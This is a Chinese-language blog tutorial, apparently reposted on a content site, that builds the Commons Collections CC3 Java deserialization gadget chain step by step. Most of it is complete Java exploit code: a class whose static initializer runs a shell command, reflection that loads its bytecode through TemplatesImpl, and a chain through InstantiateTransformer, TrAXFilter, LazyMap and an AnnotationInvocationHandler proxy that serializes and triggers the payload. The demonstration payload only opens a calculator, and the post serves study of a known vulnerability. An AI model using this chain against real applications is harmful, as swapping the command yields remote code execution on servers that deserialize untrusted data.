Java安全--CC3

这篇具有很好参考价值的文章主要介绍了Java安全--CC3。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是:

当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种关键字。

我们从ClassLoader.defineClass调用来入手。

因为defineClass都是private的,所以我们找哪里调用了defineClass并且是default类型或者public类型。defineClass有多个重载方法,最后我们锁定:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

如图所示的defineClass在寻找用法时有一个com.sun.org.apache.xalan.internal.xsltc.trax包下面调用了这个重载方法,并且类型的default。

顺着这个defineClass往上,因为是default所以在同包下面我们找哪里调用了这个defineClass:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

defineTransletClasses()调用了这个方法,但是defineTransletClasses()的类型是private。我们需要寻找哪里调用了defineTransletClasses()

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

getTransletInstance()调用了它.而且我们发现这个方法还对这个类进行了加载(调用了newInstance()),那么这里就恰好是我们可以利用的点。

继续往下看哪里调用了getTransletInstance()

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

发现newTransformer调用了它,而且newTransformer是public。那我们的寻找到这里就可以结束了,这里就可以直接调用了:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();
    }
}

因为我们调用顺序是:

templates.newTransformer()->getTransletInstance()

所以我们从getTransletInstance方法开始看:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

这个getTransletInstance中的if语句是我们遇到的第一个问题:

这里的_name是我们肯定要赋值的,这里目前来看要求只有不为空,所以我们随便赋一个值,可以先看一下_name的类型:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

我们利用反射修改:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        templates.newTransformer();
    }
}

来看第二个判断:

if (_class == null) defineTransletClasses();

因为这里的defineTransletClasses是我们要调用的方法,所以我们这里不能给_class赋值,看一下_class初始的时候是不是为空:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

发现确实为空,那我们就不用修改了。

然后我们就进入到defineTransletClasses方法:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

这里有一个_bytecodes判断,这里如果为空的话会抛出异常,我们需要对这里进行赋值,先看一下_bytecodes的类型:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

是一个byte类型的二维数组,值得注意的还有:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
}

这里对bytecodes进行了类加载,所以这里我们就传入我们要加载的恶意类的字节马:

//先编译一下这个Test类
package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

//编译后把class文件路径找到或者复制到另外一个路径,后面需要路径来加载

修改_bytecodes:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        templates.newTransformer();
    }
}

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

这里判断完byte之后对_tfactory进行了方法的调用,所以这里需要对_tfactory进行赋值,否则这里会报空指针报错。我们看一下_tfactory是什么:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

是一个transient类型,值为空的东西。因为是transient类型,所以序列化的时候并不会被带上,我们去readObject里面看一下:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

进行了new TransformerFactoryImpl();赋值,那我们就利用反射给他赋值为new TransformerFactoryImpl():

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
    	templates.newTransformer();


    }
}

我们尝试运行一下:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

发现报错了,还是报了空指针的错误。我们只能调试跟进一下看看(报错在defineTransletClasses,我们断点就下再那里):

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

我们调试发现报错的点在_auxClasses调用put这里,因为_auxClasses为空,所以报了空指针错误。我们有两个解决方法:

  1. 因为这里是一个if和else语句,我们满足if语句就可以不进入else,所以第一个方法就是满足if语句
  2. 给_auxClasses赋值,使得不会报错

但是第二个解决方法的话不会满足再下面一个if语句

if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

从上面调试界面就可以看出来_transletIndex已经被赋值为-1了,就算使用第二个方法不会报错也会再这一步抛出异常。所以我们只能使用第一钟解决方案。

第一种解决方案要满足的if语句是这样的:

superClass.getName().equals(ABSTRACT_TRANSLET)

要使得父类的名字和一个常量是相等的。我们看一下这个常量是什么:

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

所以我们现在需要修改一下Test类,让他继承AbstractTranslet才能满足这个条件:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

因为继承的是抽象类,所以我们需要实现里面的方法:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

一个是抽象类里面的方法,还有一个是抽象类继承的接口的方法.

然后重新编译Test.java即可,重新运行一遍:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

成功弹出计算器

因为上面是通过调用某个方法触发的计算器,所以我们可以利用CC1的前半条链子来触发这个方法即可弹出计算器:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


//        templates.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("qf");

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

执行结果:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

重新梳理一下我们的链子:

AnnotationvocationHandler.readObject
  Proxy(annotationInvocationHandler)
    LazyMap.get
    	ChainedTransformer.transform
      	   InvokerTransform.transform
        	TemplatesImpl.newTransformer
          	  defineClass
            	    newInstance
                       触发静态代码块

思考这样一个问题:如果InvokerTransformerban掉是否还有办法实现任意代码执行吗?

其实CC3就是为了绕过过滤InvokerTransformer和Runtime而生的,接下来开始正式的CC3之路

同样道理,我们从TemplatesImpl.newTransformer 查找用法

找到TrAXFilter这个类:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

可惜的是TrAXFilter这个类没有继承serialize接口:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

所以我们只能利用class的方式想办法对这个类进行序列化,cc3的作者发现一个类:InstantiateTransformer这个类可以对传入的类进行构造,这个类的构造方法如下:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数是要构造的类的参数类型,我们想要传入TrAXFilter,看一下它的构造类型是什么:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全

发现是一个Templates类型的变量,所以这里第一个参数就传Templates.class

第二个参数是传入的构造参数我们想要调用templates的newTransformer。所以这里第二个参数就传templates。

所以完整就是这样:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

发现可以成功运行:

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全 

现在我们再拼接CC1前面的链子即可:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        
		//这段可以注释
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //这段可以注释

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

小结一下链子:(这里用了白组长的截图)

Java安全--CC3,Java安全,java,servlet,服务器,web安全,安全文章来源地址https://www.toymoban.com/news/detail-620447.html

到了这里,关于Java安全--CC3的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java安全 CC链3分析

    cc链3的后半部分与cc链1相同,都是通过 TransformedMap类或LazyMap类触发transform方法 ,从而触发核心链,与cc1不同的是,cc链3的核心链用到了类在加载初始化时会自动执行静态方法 有关环境配置和CC链3后接的CC链1部分解析可查看以下两篇文章 Java安全 CC链1分析 Java安全 CC链1分析

    2024年04月14日
    浏览(23)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(42)
  • Java安全之servlet内存马分析

    目录 前言  什么是中间键 了解jsp的本质 理解servlet运行机制 servlet的生命周期 Tomcat总体架构  查看Context 的源码 servlet内存马实现 参考 前言  php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下了 ,内存马无落地文件,更隐蔽

    2024年02月04日
    浏览(30)
  • 2023最新网站服务器CC压力测试系统源码 前后端全开源

    CC 攻击是一种 DDoS(分布式拒绝服务),它似乎比其他 DDoS 攻击更具技术性。在这种攻击中,看不到假IP,看不到特别大的异常流量,但会导致服务器无法正常连接。今天介绍的就是一款CC压力测试系统 CC攻击的原理是攻击者控制部分主机不断向对方服务器发送大量数据包,导

    2024年02月16日
    浏览(31)
  • 服务器感染了.wis[[Rast@airmail.cc]].wis勒索病毒,如何确保数据文件完整恢复?

    导言: 在当今数字化的时代,恶意软件攻击已经变得越来越复杂和狡猾,[[MyFile@waifu.club]].wis [[backup@waifu.club]].wis[[Rast@airmail.cc]].wis勒索病毒是其中的一种新威胁。本文91数据恢复将深入介绍[[MyFile@waifu.club]].wis [[backup@waifu.club]].wis[[Rast@airmail.cc]].wis勒索病毒的特点、工作原理,并

    2024年01月23日
    浏览(36)
  • java cc链4

    java cc链4 在cc4上,需要在pom.xml中加入 这个其实还是围绕在 ChainedTransformer.transform 方法的执行,至于是使用字节码加载或者使用 InvokerTransformer.transform 都是可以的, 这里使用 TransformingComparator.compare 方法 当传入的 transformer 为 ChainedTransformer 时候,就会调用 ChainedTransformer.tran

    2024年01月18日
    浏览(23)
  • 【心得】java从CC1链入门CC链个人笔记

    来劲了,感觉离真正的CTF又近了一步。 本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。 目录 CC链概念 CC链学习前置知识 CC1链 Version1 Version2 Version3 CC链  Commons Collections apache组织发布的开源库 里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList 总

    2024年01月25日
    浏览(30)
  • Java CC链全分析

    CC链全称CommonsCollections(Java常用的一个库) JDK版本:jdk8u65 Maven依赖: 入口: org.apache.commons.collections.Transformer ,transform方法有21种实现 入口类: org.apache.commons.collections.functors.InvokerTransformer ,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可

    2024年03月20日
    浏览(29)
  • 【Servlet】图解HTTP请求Tomcat服务器实现前后端交互

    很多同学在学习到Servlet的时候,需要通过Tomcat去接收HTTP的响应以实现这个前后端交互的场景,因此理解起来就比较困难,之前在写Java代码的时候,我们只是在一个程序里面 通过方法1调用方法2以达成基本的代码逻辑 。不过现在呢,我们是去进行一个 前后端的交互 ,本质实

    2024年02月06日
    浏览(34)
  • Java 项目 服务器 日志配置

    最近 在搞一个0-1的项目 就想把 服务器日志配置 记录一下 我们使用的是 单体微服务项目 首先你需要一个xml 然后就是 pom文件里面添加上对应的依赖 然后 yml 里面 然后再服务器对应的创建 存储日志的文件 logs  

    2024年02月07日
    浏览(25)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包